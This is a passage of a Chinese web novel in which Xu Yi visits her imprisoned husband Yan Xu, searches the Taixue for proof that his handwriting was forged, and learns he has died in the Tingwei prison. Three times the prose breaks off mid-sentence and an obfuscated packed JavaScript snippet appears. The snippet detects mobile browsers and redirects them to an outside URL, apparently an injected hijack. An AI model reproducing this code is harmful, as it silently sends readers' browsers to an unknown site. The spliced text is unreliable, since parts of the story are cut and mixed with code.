她想起昨日徐有言对她说起的话来,反反复复出现、仿佛刻在了她的脑子里,无论怎么都祛除不了那块痕迹: 前几天我刚去见过妹夫,他的状态很不好,仿佛不认识我似的。 这句话一开始就很古怪,也很蹊跷。 言许不可能不认识她的兄长,或者说不可能没有见过他。在徐宜成婚之时,徐有言是亲自回来恭贺了,那时她见到自己的兄长回来觉得有点不可置信,便向言许多提了几嘴关于她兄长的事情。 虽说之后徐有言很少回司州,若是其他人就渐渐淡忘了。但言许的记忆力尤其的好,只要是见过一面的人他都能牢牢记住。 那他为何会不认识徐有言?是什么刺激导致他的记忆出现混乱或者创伤了么。只是这件事发生的也太过蹊跷了,为何偏偏是在这个他即将要被问斩的节骨眼上呢? ……又是被人构陷了? 徐宜收到的那封信上的口吻冷淡沉稳,仿佛是她的夫君知道自己必死的结局后然后平静地接受了。他再没有表露出其他的情绪,淡淡地不容拒绝地写下那和离二字。 他夫君向来不会这般,定然是另有隐情。 因此徐宜生气忧伤之后心中更多的是疑惑不解,她觉得太奇怪了。 言许仿佛不是在给她写信,而是在给一个陌生人写信。但这个陌生人却有一个极为特殊的名分:他的妻子。 她的夫君此去京中忘掉了很多重要的事情,比如说给她写信要注意用字用词的顺畅朴实,遇上什么困难的险境要及时告诉她、不要忙着推开她以及不要轻易写下和离这两个字。 可这些言许都忘记了。 仿佛在短短的一年之内,言许就忘记了与她之间的感情。像是一阵晃眼而过的碎雪或飘雨,只作短暂停留。他就只是还记得徐宜是他的妻子,所以寄回来银两以求履行他作为丈夫的职责。 她的夫君不事先写好和离书,寄回和离信纸让她写或许也只是一个巧合。 徐宜不是没有怀疑过这些都是他遇到莫大的困难,在心灰意冷的状态里写下的,因为怕牵连到全族怕牵连到她才不肯如实交代。但她一向敏锐,能从信里感知到他对于她淡漠的情愫,也能感知到,她这个名义上的妻子在他心里是可有可无的,甚至还算是他的累赘。 她越发确定自己的猜测,时不时地抬头望向走在前面的表兄。 言许忘记了她,似乎顺带着也忘记了与自己有关的人和事。 ——她的夫君一定是出什么事了。 “你怎么了?”一道温和的声音响在耳畔,徐宜顿步、再疑惑抬头,看到表兄站在身旁正目露担忧地看着她。 “我没事。我们到了吗?”徐宜说。 徐有言拉起她的手走上台阶,无奈地说:“……我们都要进去了。” 徐宜生了惊愕,恍然看着眼前的景象,紧闭的朱门、发白的长阶,门口站着两名侍卫,正是昨日她所见到的廷尉府。 只是这次长阶上没跪着乌泱泱的人了,门口也没有见到血色。 徐有言微微躬身向两位狱卒塞了银两、再好言说了几句,他们便放行了。朱门大开,兄妹两人正要进去之时,从里面正走出来一位年轻公子。 那公子正是卜晏。 卜晏看到徐宜之后讶异一瞬,再面带微笑地同徐有言寒暄、询问几句:“天气这样冷,徐大人来这廷尉府做什么?” 他眉梢微挑,目光掠过他看向徐宜,语气刻意加重。“找人么?” “关你什……”徐宜还未曾开口就被徐有言揽在了身后,他轻笑着说:“我们的确是要找人。怎么,卜公子闲来无事想帮帮我们?” 卜晏的语气并不善,带着似有若无的威胁:“别的忙我倒是帮不上,可若是你们想找的人是近来被抓的太学生的话,那就只能找我帮忙。” 徐有言默了片刻说:“那卜公子愿意帮我们吗?” 这人一直在绕。忍住想要扇卜晏一巴掌的冲动,徐宜一把拉过兄长低声劝告,“他嘴里不可能吐出一句真话,三年前他就是这般骗得我团团转,兄长你当真要他来帮忙吗?没准他就是为了拖延时间耍弄我们。” “……骗得团团转?”徐有言安抚了下她,说道,“如今卜晏在京中的权势炙手可热,廷尉府里的情况我事先打听了,的确是他说了算。如果有他的帮助,我们进去会顺利些。” 徐宜忘记了他并不知道卜晏去过司州,也不知道卜晏骗过她,所以只好闭嘴不再说话。 卜晏似乎看穿了他们的顾虑,解释道:“在下是郁二老爷手下的人。他要我来清点太学生的人数,清点完就将他们转移到另外一个监狱里。” 他说明了自己的身份也点明了自己的立场,徐宜却更加警觉了。 郁二老爷,卜晏是郁二老爷的人。言许在京中遇到那位贵人也是郁二老爷,而且也正是这位所有的郁二老爷污蔑言许使得他入狱。 “为何要将他们移到另外一个单独的监狱?”徐宜目光紧盯着他,问道。 “因为他们即将被问斩,自然就要加以区分。”卜晏缓缓走近。 徐宜目光一凝,与自己的兄长对望。少帝等不及了,看来洗清冤屈的时间不多了,甚至是刻不容缓。 她正色问道:“卜公子可知什么时候行刑?” “三日后罢。”卜晏看见她的眼睛之后,垂眼又补了一句,“或可更早。” - 三人走进廷尉府的深处,里面的狱卒层层把守,极其森严。时而有人向卜晏问好,他都笑着一一回应。 到了一个分岔路口之时,他转过身来,弯下狐狸眼睛道:“对了,二位。你们还未曾告诉我你们要找的人是谁。” 徐宜极其谨慎:“反正都是太学生,想必都关在一处。到了就知道了。” “如果你们要找的人是其他太学生,就要走右边。”他指向分岔路口,“如果你们是要找言不许,就得往另一边。” 徐宜下意识地问:“……为什么?” “因为言不许最特殊。”卜晏道,“是郁二老爷这样认为,所以将他与其他太学生分开关着。” 徐宜告诉了卜晏自己与言不许的关系。说起来她好久没有听过“言不许”这个名字了,她都是言许言许地叫他。 …… “这么说来徐大人是想来找你的妹夫?”卜晏一边走又一边询问。 徐有言也存有戒心,“嗯”了声就不再说话。卜晏也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142402|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再问其他的问题,只是垂着头继续带路。 弯弯绕绕走了许久才到了。徐宜没有想到,这府邸深处还有一个小小的监狱,黑漆漆的,路旁点着几盏烛火。 看到这样的环境,她后背发凉,心几乎一窒。 “你怕黑?”卜晏察觉到她的反应,轻声问道。 徐宜没回应,只是往前走。 这里似乎是死刑的牢狱,站着守岗的狱卒比外面的更加有训练有组织,时时刻刻严阵以待。不难看出他们格外重视里面关着的人,生怕他逃出来。 不是她怕黑,是言许害怕黑暗中摇晃的火烛。她现在顿住脚步有些不敢上前,她怕看见一年未曾见到的夫君。 她可以预料到他的反应。若是她遇到这样的情况,定然也会推开他。 卜晏轻笑着说,“徐姑娘是不敢上前了吗?” 徐宜恰好抬头,与他的那双眼睛四目相对。她曾最喜欢的就是他的眼睛,温和清润的很像言许,但现在却装着狡黠和淡漠,或许之前就有,只是她没有发现。 烛火幽幽地闪烁,她的心越发不安。但她还是走上前去,绕过一个弯道就看到了关在牢狱中的言许。 他也看到了徐宜。只是在看到她的那一瞬竟然有些无所适从,年轻郎官的眉目微微蹙起,不知道是什么情绪牵动起他的唇角,看起来像动容,感知起来却像若无其事的淡漠。 他不该是这样的。 徐宜渐渐走近,但他却始终这样看着她,目光露出疑惑和不解。 她像唤一声夫君,却发现自己无法发出声音,喉间像是卡了一块竹篾似的,难受得很。很多人都用这样的目光看过她。 阴沉沉的牢狱中,寂静无声,只有偶尔风吹烛火的声音,像是踩在碎雪和干柴上的声音。 徐宜看着言许的表情变化,他面容苍白无色,没有任何表情。但仍是看得出来他那张面皮下的惊惧。 她曾怀疑面前这个人不是她的夫君。但他对她并不陌生。况且他也害怕黑暗中晃动的烛火。 之前在司州的时候,砚山入夜早,黄昏后不一会儿就天黑了。成婚后第一天的晚上,徐宜早早地点起烛火,端起烛台放在桌上,然后借着灯火磨刀。但言许却脸色发白,温和虚弱地对她说:“我不太习惯家里晚上燃烛火,可以掐灭它吗……” 徐宜那时候刚跟他闹矛盾,便不想遂了他的意。但是见他愈发难受,说出的话都是压着的,就赶忙将烛火给掐灭了。她心中内疚得很,自那以后就再也没有在夜里点过火烛了。 气氛这样僵着,两人四目相对着也并不说话。但他们不能一直停在这里。 徐有言走上前去,对她说道:“郁二老爷将妹夫他单独关在这里,就是格外’重视‘他,根本不会轻易地放过他。小宜你还是要与妹夫说说我们的计划,如果没有他的配合,我们……很难成功。” “言许。”徐宜听了,走上前去小声说道,“身上的罪名我们会帮你洗清,你不用担心。那本批注了’驽马之用’的书,是怎么落到其他人的手中的,你在太学里得罪了什么人吗?” 锁链声动,言许站起身来垂眼看她,轻声说出了一句石破天惊的话,“我是故意给郁二老爷的。” 徐宜惊愕地睁大眼睛,一错不错地看着眼前人。 目光微微下移,就看到了他被锁链禁锢住的手,指节细长好看,却沿着手上的纹路密密麻麻地皲裂开,旧的血痂和新的血色交合着,实在是触目惊心。 9. 天落雪 从牢狱回来之后天已经黑净了,长街上挂起灯笼,同檐上的白雪相映成趣,倒是惹眼的好看。 兄妹二妹并排走着,各怀心事。 徐宜路上一直有些心不在焉,她在琢磨言许对她说的那些话。 ——我是故意给郁二老爷的。 他在信上就不曾这样说,明明他是受了权势的压迫才入狱的。 郁老国公之前是太子一党,也因为太子而死,郁二老爷是郁家人,自然也向着太子,最近少帝即位、京中查得严,事情败露之后言许才被推出来顶罪。 还有他手上的那些细小的密密麻麻如雨丝一般的伤口,甚至还在不断地往下渗出血迹,绝对不会是旧伤。 徐宜曾看到过言许的手。起初他手上始终缠着白布条或者戴着黑色的手套,不愿意露出他的手更不愿意让她看到。 可她还是看到了。那时他的手的确可以用狰狞二字来形容,明明该是一双指节干净的细长好看的手,手心上却没有一块好肉,像是有无数个小血窟窿。似乎是才受伤不久,还在不断向外掉血珠子。 可言许在家中排行第三,因着身子不好连学堂都不曾去,日日年年只在家中温习书本知识,也不曾迈出言家大门一步。他不可能会受伤,可他手上的伤口也不是平白无故就有的。 现在言许的手上又出现那些伤口了。再者之前她十二月底启程前往京中之时,却在离驿站不远处发生了意外。 再醒过来,她的手上也多了很多与之相同的伤痕。 伤痕之间有什么关联? ……只是凑巧么。 但直觉告诉她,言许身上的种种怪异的表现都在表明这并非简单的巧合。 他在信上口吻虽然淡漠但依旧是在指控郁二老爷,如今却能轻描淡写地将罪责全都揽到自己的身上,并且没有表现出对郁府二老爷的半分不敬。 只会是说谎。他是在忌惮着什么人才不敢同她说真话。 那时在场的除了她和兄长,还有其他的狱卒们,剩下的就是卜晏了。 他是郁二老爷身边的人,立场自然与他们相对,她早该想到的。 她顿住脚步,试探性地询问徐有言:“兄长,卜晏这人怎么样?” “他的权势大、地位高。”徐有言想了想,再说,“但他为人却低调谦和,虽然平日口若悬河狡黠得很,处事密不透风让人抓不住什么把柄,但有一点非常之奇怪。” “什么奇怪?”徐宜迫切地问。 徐有言说:“他近来常常进出郁府,今日还说自己是受托来帮郁二老爷清点太学生的人数的,可是以他的性格和地位,明明不用帮这个忙,也犯不着与郁二老爷这般套近乎。” “那他此前与谁走得更近些?”徐宜歪头、沉吟再问。 徐有言格外审慎地说:“与少帝的舅舅北山王交往甚密。此前郁府也与北山王府也多有往来,只是最近少些了。”说至此处他顿了顿才道,“至于原因,我在宫中……并不怎么了解。” 覆舟难行,郁二老爷或可将我推出去。 徐宜想起这句话,若有所思地点点头,“或许正是由于郁二老爷与北山王生出罅隙,北山王就谋反一事构陷郁府,二老爷怕牵连全族就将这罪名转移到了太学生的身上。至于卜晏的立场,我暂时还不太清楚。只是今日言许故意说出那样奇怪的话,没准就是隔墙有耳,防着其他的人听见。” “还是妹夫想得周全,他今日看到了我们心也可以暂且安定下来。”徐有言担心地说,“卜晏说三日后或者更早就会行刑,看来留给我们的时间不多了。” 徐宜庆幸地笑了下,“来得及。我明日就去太学里找证据,兄长你就去廷尉府里接应我。” 两人在客栈门口分别。徐有言让她不要太过担心,总会有办法救言许出来的。但徐宜总有一种不好的预感,找证据救人自然是来得及,一天两天或许就足够。 只是就怕找到了铁板钉钉的证据,廷尉府和郁府却不放人。谋逆造反的罪名那样严重,徐宜甚至不敢往下想。 - 皇宫里的高墙林立、楹柱挺立,飞檐走壁雕梁画栋的,看着莫不气派。 少帝即位之后,宫中面貌更是焕然一新。只是令人们诧异的是: 皇帝的封号、年号都未曾变更。 先皇是大许王朝第四位皇帝,封号北始帝,年号永光。少帝即位之后沿用永光这个年号也就算了,就连封号也是沿用的先帝,也是北始帝。 朝中不是没有大臣劝,就连民间也有声音反应此事。说是新帝新气象,之前的皇帝碌碌无为,朝野乱做了一锅粥,人们不想再要这样的王朝,所以想换皇帝、换封号,以及换年号。 况且许朝历代便有这样的律法,凡是皇帝变更,年号和封号都得换。 但这位皇帝的脾性格外的倔,任是谁说都没有用处,他就不愿意改。就连少帝的母亲和他的舅舅亲自去规劝,他也照样不改。 此时的承明大殿里,一个十岁左右年纪的少年端坐在桌前,眼睛红红地盯着对面的女人,又委屈地唤了声母后。 “我错了。”他的脸庞稚气未脱,语调软软的,看上去倒是十分乖巧。 女人正是许太后,面容秾艳姣好,穿着华贵的织锦衣裙,又显出几分端庄来。她掩唇轻声笑,眼角、唇角都无甚皱纹。 她是大许王朝最为年轻的皇后,也是最为年轻的太后。 “翎儿乖,你父王死得早。”她将少帝揽到怀中,摸他的头,继续道,“不论是封号、还是年号都没用多久,所以母后和舅舅都想让你继续用下去。” 少帝躲过她的手,怯生生地转过眼睛去看她,道:“我错了,母后。” 许太后看到他的脸之后,瞬间将他的头给扳过去,紧张地别过眼。 这样的快动作使得她头上的珠钗步摇都剧烈地晃动,她像是想到了什么,眼皮剧烈地跳动,仿佛被猎人扼住了咽喉。 “禀太后,徐大人求见——”侍女缓缓走进承明殿中,她明显感到气氛有所不对,所以声音有些颤抖。 少帝也不敢动,身子微微抖着。 过了半刻许太后才恢复来,让侍女下去传唤徐有言。她与少帝继续方才那个话题,“道歉又有什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142403|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用。你可知你这次算是彻底惹你舅舅生气了,年号和封号只是一层皮,你舅舅才是这个王朝的骨。你又何必为一层皮而弃掉骨和肉呢?” 少帝被说得脸色发红,从她怀中跳下来,说道:“可是许朝律法自古如此,新帝上位不能只修缮宫殿,更重要的是更换年号……” 许太后听完眉梢一挑,斥道:“这等胡言乱语,是谁教给你的?” “太师。”少帝垂着头,眼神躲闪。 “看来你得换一位老师了。”许太后微微笑起。 此时徐有言正从殿门外走进来,触及到许太后的目光便跪下去,说道:“臣今日来是想求太后救下那群太学生。” 许太后让少帝下去读书练字,等少帝走后她才悠悠地答道:“你可知他们犯的是何罪?”不待徐有言回应她又说,“谋逆之罪!少帝即位他们却明目张胆地写下那些大逆不道的言论,实在是不把少帝放在眼中,这样的罪犯,徐大人你让哀家如何饶过他们?” 徐有言平静地说:“如今这朝中的人,都何尝不是谋逆者?太后这般自欺欺人,不肯放过与太子相关的任何人,你这样做也是没有放过自己哪……” 许太后怒斥他:“大胆!翎儿本就该是太子,是宣王抢了他的位置。往后发生的事情只不过是物归原主罢了。” “可他们都死了。太后可知他们为何而死?”徐有言再问。 “哀家为何知道?自古成王败寇,他们争权失败了,自然该死、自然该死。” 徐有言的声音不再那么稳,情绪侵占了他的大部分理智。“太后这话说的当真是好听,国公府姑且不论,那尚书府、丞相府以及无数朝廷命官呢?他们并非是太子的党羽,可您和北山王却将他们都给杀了。” “他们都死了。”许太后却没有继续争执下去,琉璃眼睛像是蒙上了一层灰,落寞得很,“他们不会再来报复我了,他们都死了。” 窗棂都被深青色的帘子给遮挡住,天光只能从门外透进来。过了许久,久到外面的天光都沉静下来。 “哀家倒是忘记了。”许太后玩着指尖,看向徐有言说道,“你不就是当年太子党羽的漏网之鱼么,你侥幸活了下来,所以便看不得那群太学生去死么?” 她悠悠地说:“你既然这般恨我杀了他们,那为什么不随太子他们一起去死?苟且偷生又凭什么来指摘我?” 徐有言无奈地道:“太后说笑了。这番话也是说给臣自己听的,实在谈不上‘指摘’二字。” “我这条命是太后您当年救下的,自那一刻我便脱离太子了,如今更不会护着太子的党羽。”他继续说,眉目低垂,“言许是我的妹夫,也仅仅只是因为这个,我才想要救他。” 许太后抬手抚了抚云髻,噙着一抹笑说道:“我答应你,但哀家只会救下言许一个人,其他的不归哀家管。” 徐有言并不得寸进尺,起身再行一礼,“多谢娘……太后。” “作为报答,徐大人是不是也得答应我一个要求?”许太后直勾勾地盯着他,面皮在天光的映衬显得更为清丽好看,这下不像是手握重权的太后了。 10. 天落雪 太学门口,徐宜向守着的人说自己是某个太学生的家人,就这样攥着带有与驽马相关批注的拓本进去了。 郎朗读书声传出来,她松了口气。她事先查探好了言许身边的所有人,无论是与他发生矛盾的,还是与他关系好的,终于找出一个重要的人物。 那便是京中的权贵之子翟狄。 徐有言也告诉她此人与郁府的二公子走得极近、交往甚好,想必他就是为郁二老爷所用。况且他在太学中与言许的关系异常不好,经常与他作对。 太学的布局了然于心,徐宜绕过几条岔路总算到了翟狄的寝房。他的寝房格外的偏僻,装饰格外平华朴实。京中有传言说翟狄是个花钱大手大脚的纨绔公子,这间寝房实在不像是他的风格。 但她没想那么多,救人要紧。她抽出佩刀就砍掉了门上的锁。 寝房内没有异味,也并未有什么值钱的东西,床单被套都规矩地叠着,窗户紧闭着。入眼的便是翟狄放在桌面上的几张作业纸,上面全都是他的字迹。 徐宜看见了,都悉数揣入怀里。 她仔细研究过拓本上的字迹,那绝对是翟狄伪造仿写的。一开始她就这样认为,言许不会写下这句话给人留下把柄。 况且她夫君手上存有伤口,一般缠着绷带或带着手套,写出来的字的笔画总是在微微颤抖,即便微小得看不出来,但她依然能够辨别出来。 现在她拿到了属于翟狄的字迹,但这些微弱的细节和证据并不足以让人相信。因此她还需要找到翟狄,让他亲口承认自己的所作所为。 徐宜从太学生的寝房中走出来,心中计量着接下来的安排。 她要去学堂里挟持翟狄。 只要找到翟狄,将他带到廷尉府,一切就都能解决。言许身上的污名被洗清,悬在他脖子的长刀也能放下来。 卜晏说过三日后行刑,如今才是第二日,那就证明来得及。 学堂里朗朗的读书声还在,徐宜刚要闯进去擒住那翟狄,却被人捂住嘴反手扑在墙上。 那人力气不算小,她没有做好防备,脊背就这样猝不及防地撞到了墙上。 “……卜晏?”徐宜看清了他的脸,发出不可置信的疑问。 她使劲挣脱,手中的刀几乎要没入他的胸膛,却被他掐住了手腕。 短刀咚地一声坠地。 徐宜的眼睛陷入黑暗,身子被人拖拽到了另外一个地方。 …… 再睁眼之时,她到了一间屋子里。窗户同样都是紧闭的,帘子遮挡住光,只偶尔有几丝光线漏进来,只是这里长久未曾打扫、尘灰有些呛人。 徐宜没好气地看向卜晏,他就站在背光一面,半边脸隐在黑暗中,长发半披半束的有些乱,眼睛像是蒙上了一层灰面,竟看着有些不知所从的茫然。 这时的他似乎可以说是失魂落魄。她从未想过用这样的四个字来形容他。他从来都是居于人上的、掌握别人的那一方。 “你带我来这儿做什么?我还要去擒拿翟狄,要将他带到廷尉府上亲口承认自己的所作所为,然后替我的夫君洗清冤屈……”徐宜斟酌着自己的用词,“我希望卜公子你不要拦我。” “你方才去的不是翟狄的寝房,”卜晏面无表情地仰头,再道。“这里才是他的。” “这里?”徐宜怔了下,再四处打量这间屋子,里面的陈设摆放的确繁缛复杂,名贵的东西也不在少数,只是染了尘灰,看着像是长久未曾居住的屋子。 再想到方才她去到的那间偏僻的寝房,屋中面积小不说、陈设还十分简致。 徐宜猛地回过神来,“翟狄他跑了!”心不断下沉,她扫视了这间屋子的样子,继续道:“而且已经走了很久很久了。” 徐宜并未灰心丧气,她连忙翻箱倒柜地寻找翟狄的遗落在房中的书本和纸张,没准上面就有他留下的字迹。 即使翟狄本人没有在京中,但通过比对字迹也可以证明错判了罪名,至少可以延缓她夫君行刑的日子。 这样也可行,只是牵强了些,可廷尉定罪定得也实在牵强,难道只凭那样的两句话就能断定言许是太子党了么? 尘灰跃进她的眼睛里,她呛得咳嗽几声,仍继续搜寻着。 卜晏此时却淡淡地开口,声音平静得没有任何波澜,“没用的。” 他说话的语调从未这样平缓过,像是湖水决堤之时的宁静,徐宜心中升起不安,她急忙去问:“卜公子为何认为没用?如此这般虽不能彻底洗清言许的罪名,但也能延缓下他的死刑。你莫不是就是来与我作对的罢,那么不好意思我今天实在没心情。” 她心中不安就噼里啪啦地一顿说,说完又转身去柜台书架上寻找翟狄遗漏下来的书本和纸张。 上面的字迹就是她救下夫君、替她夫君洗清罪名的唯一证据。 “言不许他死了。”卜晏缓步走近她,并未阻止她忙碌的动作。 恰如一颗石子落入井中,溅起莫大的水波,但站在井边的人并不能瞧见井里的动静。 徐宜听见之后仿佛更加冷静了,她停了手中的动作,转过身来,漆黑的眸子里情绪分明:“昨日夜里,是廷尉府动用私刑了?” 卜晏:“那日我就说过了。言不许并非谋反,他得罪的是郁二老爷,无论你们找到了什么证据,都无法救他出来。” 徐宜没有再理会,她走到墙角的书架边,书架总共有七层,最下面一层有本书。她捡起那本书,翻了翻再拍拍灰将其放进了怀里。 只有这本书了。她走过来看着站在窗边的卜晏,道:“走吧。” 天光映衬在她的脸上,方才眸子里的灰暗情绪消散不见,眼睛好似成了琥珀色的花雕酒,还有些醉人。 卜晏见了微微愣住,仿佛见到了三年前的徐宜。这样的反应在他的意料之中,她骨子里就是格外坚韧的,她几乎能平静得接受任何事发生、任何人离开。 三年前是这样,三年后也会是这样。但他觉得这样的人既可怜,又可怕。 两人一前一后地从太学里走出来,徐宜向卜晏说了声抱歉,卜晏疑惑侧目,她才小声解释说:“明明你是好心来告诉我这件重要的事情,而我却那样对你,实在抱歉。” 卜晏认真看了她半晌,却看不出半分异样,继而垂目笑道:“没事。” 她越是这样冷漠,他心中的不安和担忧却越来越重。先前在司州的时候,槐里乡的人都对她指指点点,说这姑娘不念恩情冷漠无情。可他知晓她只是面上不露,心里始终在内疚和慌张。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142404|164543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜晏以为她会询问更多关于言许的细节,但她什么也没问。两人就在太学门口分开了,分别之时她还弯起眼睛说道,“我先回去休息了。” 可他总觉得她有哪里不对劲,却又说不上来。 - 承明宫内,许太后侧身躺在贵妃椅上,看着一脸认真的少帝。 他时而摇头晃脑地朗读,时而又揉揉眼睛地偷懒,最后实在撑不住向站在面前的年轻公子乞求道,“徐大人,孤能不能不读了。” 徐有言轻抬眼皮看着少帝,道:“不许。每天至少读二十篇。” 年号更改一事在许太后的心里就像尖刺一般让她心慌,此前少帝功课一直是由太师负责,但那个老头子居然敢教少帝如此大逆不道的想法。因此她便让太师致仕,换了徐有言来做老师。 这也是作为她救下言许的报答。 她早有这样的想法,徐有言是许朝近些年少有的少年天才,才学横溢见解独到,也并不像那些老儒生一般迂腐,最重要的是她能够轻易地掌控他。许太后曾几次三番地让徐有言来当少帝的老师,可他每次都推脱,甚至还说自己是罪人之身不堪重用,宁愿受刑也不肯答应她的请求。 这次也只是因为徐有言有求于她,她才能提出要求让他答应。 “......可是我的眼睛看痛了,今天的早膳也未曾用,”少帝的嘴角微微向下显出委屈的模样来,他眼睛发亮,又继续说道:“老师你也未曾用膳罢?不若我们一起......” 徐有言拿起桌上的戒尺敲敲书本,“再读十篇就能去。” 少帝眼见无望,便只好拿起书本,埋头继续苦读。 许太后看累了便闭上眼睛。可此时却殿门外却有个侍卫急急忙忙地跑进来,跌在地上喘不过来气似的,许太后听见了便吼一句,“什么事毛毛躁躁的。” 少帝和徐有言都停了手下的动作,看向那跪在地上的侍卫。侍卫瞧见他们的目光便急忙垂头,道:“廷尉府那边出事了!” 少帝从椅子上跳了下来,问:“发生何事了?” 侍卫:“今个儿一早,小的便将通知了廷尉府的人要留太学生言不许一命,那些狱卒虽然支支吾吾的最后却也答应了。结果没想到那言不许早就死了!狱卒们怕惹祸上身故而才遮遮掩掩地答应,小的也是才知道,于是急忙跑来告诉太后您。” 他顿了顿,又继续说:“而且廷尉府门口又聚了好些人,为首的姑娘可怜兮兮的,一直在磕头,说是要替亡魂洗清冤屈。这样堵住廷尉府断然是不行的,自是需要狱卒去疏散。但他们说一旦有狱卒靠近,她就握住手中的短刀作势要去抹他们的脖子,又变得好生凶狠。” 徐有言闻言就立即出了承明殿,甚至都未曾行礼。 许太后见了倒是没生气,随后意有所指地说道:“这郁二老爷好大的胆子,真是不惧皇恩浩荡哪。我们母子俩可真是像那案板上的鱼肉,任人宰割、欺负。” 少帝疑惑地皱眉,问道:“母后,老师他要去哪?”他随后翻了翻桌上的书本,“我还需要继续读么?” 殿外扬起小雪,些许飘到门前。 许太后站起来伸了个懒腰,缓步走向少帝,道:“看来哀家又得替你物色新老师了。” 11. 天落雪 雪越下越大了。 但还有一堆人围堵在廷尉府的门前,他们得知了太学生的死讯,个个都披麻戴孝面露忧伤,更有甚者哭作了泪人。 他们将火盆端到门前,为死去的家人烧纸,众人围成一堵墙挡住风雪,火才得以长久不灭。 长街上围满了人,絮絮叨叨的声音传遍整条街道。他们大多带着同情和怜悯的目光看向这群企图讨回公道的人。 “少帝还未曾发话,廷尉府就擅自动用私刑,将一群年轻的学生给杀害了。”一名老妪双手交握举起,边哭边控诉,“老天可真是作孽哪!” “少帝即位不久就出现血光,上天不会放过廷尉府,也不会放过新上位的皇帝,我儿死了,你们这些显赫之人也不会好受。”妇人冻得脸色发白,大声吼道。 “大家快看,风雪又起,这明明是有冤屈啊!廷尉府仗着自己的权势胡乱杀人,这让我们这群平头百姓还怎么活?” 这句话唤起了大家的共鸣,众人纷纷响应,乌泱泱的人群团结一心,就如泄了洪似的,仿佛要将廷尉府的朱门给淹没。 浓烟滚滚散在空中,呜呜咽咽的哭声又起,再就是万众一心的声讨。狱卒们见了此状心中焦急得很,可他们握紧佩剑却不敢行动,他们极为戒备地看着人群中为首的那个女子。 方才他们想要阻拦这些人进行烧纸、辱骂等丑恶行径,没想到却被那位看上去柔弱的年轻女子给偷偷地刺了一刀。 那一刀又稳又准,非常年用刀之人是绝对捅不出的。 她死死地盯着他们,阴狠的目光仿佛钉在了他们身上,无论怎么样都无法撬开。 那女子是最先找来的,说是找到了证据,要求见廷尉大人。他们不许,她便干脆地跪下去,行礼、磕头、恳求一系列动作都极为利落。 她初开始磕得卖力,以至于额上都磕出了血印子。他们觉得她好欺负便将她晾在一边,还打赌她会不会继续磕头,会不会自尽而亡。 但最后她却朝着他们的腹部,狠狠地刺了一刀。他们都不知所措,根本不知道她是从哪儿掏出来了一把锐利的短刀。 他们不敢轻举妄动。况且这件事的态势愈来愈严重,街道被堵得水泄不通,所有的百姓都站出来声讨廷尉府。 但廷尉大人又不在。他们只好去请示太后和少帝,好让这场闹剧赶快结束。 过了半刻钟,徐有言绕过熙熙攘攘的人群来到了前面。一眼就看到了跪在地上的徐宜,他蹲下身哽咽了声,才道:“对……不起,但总会有办法的,是罢。” 徐宜眼皮都没抬,她的身子微微侧着,面无表情地道:“没有办法了。” “表兄,他死了。”她的眼睛一错不错看着虚无的前方,就像是在陈述一件极为平淡的事情,语调和语气都不曾有变化。只是她的唇色惨败,额上的血迹却是鲜活的。 徐有言却能听出来她藏着的哽咽声,他像是下定了什么决心,转身向狱卒们说:“太后让你们放他们进去。” 狱卒们不可置信地说:“……放他们进来?廷尉府可不是什么人都能进的,他们的孩子就是犯了谋逆之罪,他们其中没准还有人是共犯,许朝律法没有连坐已经算是对他们莫大的庇佑了。” 方才那老妪冻得身子发抖,她狠命地啐道:“天理昭昭,岂能容你这般含血喷人?廷尉府定罪定的那般牵强,人在做天在看,是谁的错一看便知!” “这叫我怎么放他们进去?廷尉大人若是知晓了定是不会饶过我的。”狱卒摸了摸鼻子,觉得实在有些莫名其妙,“要不徐大人您还是去请示下北山王的意思罢?北山王若是同意了,那我们便放。” 徐有言:“你是说太后和少帝的话作不得数?” 狱卒陪笑了下,却仍是死皮赖脸地说:“徐大人,小的并没有这个意思。只是这朝中的事情都是北山王说了算。况且我喊去的人还未回来,太后有没有下过这个命令还暂且不知道呢。” 徐有言眯起眼睛看着狱卒,目光不善。“这样猖狂,敢将北山王当作挡箭牌,但此事若闹到北山王那里去,他当真会庇佑廷尉府吗?” 此时廷尉府的大门却被打开了。众人纷纷抬头,瞧见从里缓缓走出一个公子。 徐有言微微侧目,跪在地上的徐宜也抬眼看他。 “放他们进来罢。”卜晏轻声说道。 狱卒跪下来恳求道:“卜公子,可他们是来找事的!而且那女的还伤害了我们的兄弟,廷尉大人都未曾发话,你怎能擅自放他们进去……” 卜晏看了一眼徐宜,面上露出自责来,接着他便加重了语气:“放他们进来。有什么后果,我来承担。” - 廷尉府的正堂里,聚着一堆人。他们这次没有跪下,反倒是先卜晏跪下了。 